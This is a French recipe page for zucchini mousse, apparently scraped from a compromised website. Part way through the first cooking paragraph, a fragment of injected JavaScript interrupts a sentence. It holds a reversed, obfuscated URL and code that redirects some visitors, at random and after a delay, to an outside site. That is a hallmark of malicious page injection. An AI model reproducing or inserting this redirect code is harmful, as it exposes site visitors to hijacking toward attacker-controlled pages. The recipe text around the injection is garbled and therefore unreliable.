Mousse de courgettes
2021-03-16- Cuisine : Mousse
- Thématique : Végétarien
- Niveau : Difficile
Pelez, coupez en fines tranches les courgettes. Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d’huile d’olive, sur feu vif. Faites cuire les courgettes, avec les oignons, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant pendant 5 minutes.
Ingrédients
Pelez, coupez en fines tranches les courgettes. Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d'huile d'olive, sur feu vif. Faites cuire les courgettes, avec les oignons, tout en remuant pendant 5 minutes. A ce moment couvrez et laissez mijoter pendant 15 minutes. Hors du feu incorporez la crème fleurette et les œufs. Mélangez énergiquement. Versez la mousse dans un plat à gratin. Parsemez de gruyère râpé. Préchauffez le four à 210° C thermostat 7.
Enfournez et faites gratiner.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
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